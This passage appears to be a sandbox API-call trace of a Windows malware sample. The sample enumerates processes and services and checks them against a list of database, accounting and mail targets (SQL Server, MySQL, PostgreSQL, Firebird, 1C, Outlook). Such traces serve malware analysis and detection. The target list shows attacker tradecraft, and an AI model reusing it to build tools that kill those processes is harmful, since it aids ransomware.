lpString2="svchost.exe") returned -1 [0238.408] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0238.408] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0238.408] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0238.408] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.408] lstrlenW (lpString="svchost.exe") returned 11 [0238.408] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0238.408] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0238.408] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0238.408] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0238.408] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0238.408] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0238.408] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0238.408] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0238.409] lstrlenW (lpString="LogonUI.exe") returned 11 [0238.409] lstrcmpiW (lpString1="1c8.exe", lpString2="LogonUI.exe") returned -1 [0238.409] lstrcmpiW (lpString1="1cv77.exe", lpString2="LogonUI.exe") returned -1 [0238.409] lstrcmpiW (lpString1="outlook.exe", lpString2="LogonUI.exe") returned 1 [0238.409] lstrcmpiW (lpString1="postgres.exe", lpString2="LogonUI.exe") returned 1 [0238.409] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="LogonUI.exe") returned 1 [0238.409] lstrcmpiW (lpString1="mysqld.exe", lpString2="LogonUI.exe") returned 1 [0238.409] lstrcmpiW (lpString1="sqlservr.exe", lpString2="LogonUI.exe") returned 1 [0238.409] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.409] lstrlenW (lpString="svchost.exe") returned 11 [0238.409] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0238.409] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0238.409] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0238.409] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.409] lstrlenW (lpString="svchost.exe") returned 11 [0238.409] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0238.410] lstrlenW (lpString="audiodg.exe") returned 11 [0238.410] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.410] lstrlenW (lpString="svchost.exe") returned 11 [0238.410] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.410] lstrlenW (lpString="svchost.exe") returned 11 [0238.410] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0238.411] lstrlenW (lpString="userinit.exe") returned 12 [0238.411] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0238.411] lstrlenW (lpString="dwm.exe") returned 7 [0238.411] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0238.411] lstrlenW (lpString="explorer.exe") returned 12 [0238.411] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0238.412] lstrlenW (lpString="spoolsv.exe") returned 11 [0238.412] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0238.412] lstrlenW (lpString="taskhost.exe") returned 12 [0238.412] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.412] lstrlenW (lpString="svchost.exe") returned 11 [0238.412] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0238.412] lstrlenW (lpString="uyuquk.exe") returned 10 [0238.413] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0238.413] lstrlenW (lpString="reader_sl.exe") returned 13 [0238.413] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0238.413] lstrlenW (lpString="cmd.exe") returned 7 [0238.413] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0238.413] lstrlenW (lpString="conhost.exe") returned 11 [0238.413] Process32NextW (in: hSnapshot=0x388, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0238.414] CloseHandle (hObject=0x388) returned 1 [0238.414] Sleep (dwMilliseconds=0x1f4) [0238.957] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42aeb70 [0238.987] EnumServicesStatusExW (in: hSCManager=0x42aeb70, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 0 [0238.987] GetLastError () returned 0xea [0238.987] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc9a) returned 0x42e73a0 [0238.988] EnumServicesStatusExW (in: hSCManager=0x42aeb70, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42e73a0, cbBufSize=0xc9a, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42e73a0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 1 [0238.988] CloseServiceHandle (hSCObject=0x42aeb70) returned 1 [0238.988] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0238.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0238.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0238.988] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0238.988] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0238.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0238.988] lstrlenW (lpString="AudioSrv") returned 8 [0238.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0238.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0238.988] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0238.988] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0238.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0238.988] lstrlenW (lpString="BFE") returned 3 [0238.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0238.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0238.988] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0238.988] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0238.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0238.988] lstrlenW (lpString="CryptSvc") returned 8 [0238.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0238.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0238.988] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0238.988] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0238.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0238.989] lstrlenW (lpString="CscService") returned 10 [0238.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0238.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0238.989] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0238.989] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0238.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0238.989] lstrlenW (lpString="DcomLaunch") returned 10 [0238.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0238.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0238.989] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0238.989] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0238.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0238.989] lstrlenW (lpString="Dhcp") returned 4 [0238.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0238.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0238.989] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0238.989] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0238.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0238.989] lstrlenW (lpString="Dnscache") returned 8 [0238.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0238.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0238.989] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0238.989] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0238.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0238.989] lstrlenW (lpString="DPS") returned 3 [0238.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0238.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0238.989] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0238.989] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0238.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0238.989] lstrlenW (lpString="eventlog") returned 8 [0238.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0238.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0238.989] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0238.989] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0238.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0238.990] lstrlenW (lpString="EventSystem") returned 11 [0238.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0238.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0238.990] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0238.990] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0238.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0238.990] lstrlenW (lpString="gpsvc") returned 5 [0238.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0238.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0238.990] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0238.990] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0238.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0238.990] lstrlenW (lpString="LanmanWorkstation") returned 17 [0238.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0238.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0238.990] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0238.990] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0238.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0238.990] lstrlenW (lpString="lmhosts") returned 7 [0238.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0238.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0238.990] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0238.990] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0238.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0238.990] lstrlenW (lpString="MMCSS") returned 5 [0238.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0238.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0238.990] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0238.990] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0238.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0238.990] lstrlenW (lpString="MpsSvc") returned 6 [0238.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0238.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0238.990] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0238.990] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0238.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0238.990] lstrlenW (lpString="NlaSvc") returned 6 [0238.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0238.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0238.991] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0238.991] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0238.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0238.991] lstrlenW (lpString="nsi") returned 3 [0238.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0238.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0238.991] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0238.991] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0238.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0238.991] lstrlenW (lpString="PcaSvc") returned 6 [0238.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0238.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0238.991] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0238.991] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0238.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0238.991] lstrlenW (lpString="PlugPlay") returned 8 [0238.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0238.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0238.991] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0238.991] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0238.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0238.991] lstrlenW (lpString="Power") returned 5 [0238.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0238.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0238.991] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0238.991] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0238.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0238.991] lstrlenW (lpString="ProfSvc") returned 7 [0238.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0238.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0238.991] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0238.991] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0238.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0238.991] lstrlenW (lpString="RpcEptMapper") returned 12 [0238.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0238.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0238.992] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0238.992] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0238.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0238.992] lstrlenW (lpString="RpcSs") returned 5 [0238.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0238.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0238.992] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0238.992] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0238.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0238.992] lstrlenW (lpString="SamSs") returned 5 [0238.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0238.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0238.992] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0238.992] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0238.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0238.992] lstrlenW (lpString="Schedule") returned 8 [0238.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0238.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0238.992] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0238.992] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0238.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0238.992] lstrlenW (lpString="SENS") returned 4 [0238.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0238.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0238.992] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0238.992] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0238.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0238.992] lstrlenW (lpString="ShellHWDetection") returned 16 [0238.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0238.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0238.992] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0238.992] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0238.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0238.992] lstrlenW (lpString="Spooler") returned 7 [0238.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0238.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0238.993] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0238.993] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0238.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0238.993] lstrlenW (lpString="Themes") returned 6 [0238.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0238.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0238.993] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0238.993] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0238.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0238.993] lstrlenW (lpString="UxSms") returned 5 [0238.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0238.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0238.993] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0238.993] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0238.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0238.993] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x42e73a0 | out: hHeap=0x530000) returned 1 [0238.993] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x360 [0238.995] Process32FirstW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0238.995] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0238.995] lstrlenW (lpString="System") returned 6 [0238.995] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0238.995] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0238.995] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0238.995] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0238.995] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0238.995] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0238.995] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0238.995] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0238.996] lstrlenW (lpString="smss.exe") returned 8 [0238.996] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0238.996] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0238.996] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0238.996] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0238.996] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0238.996] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0238.996] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0238.996] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0238.996] lstrlenW (lpString="csrss.exe") returned 9 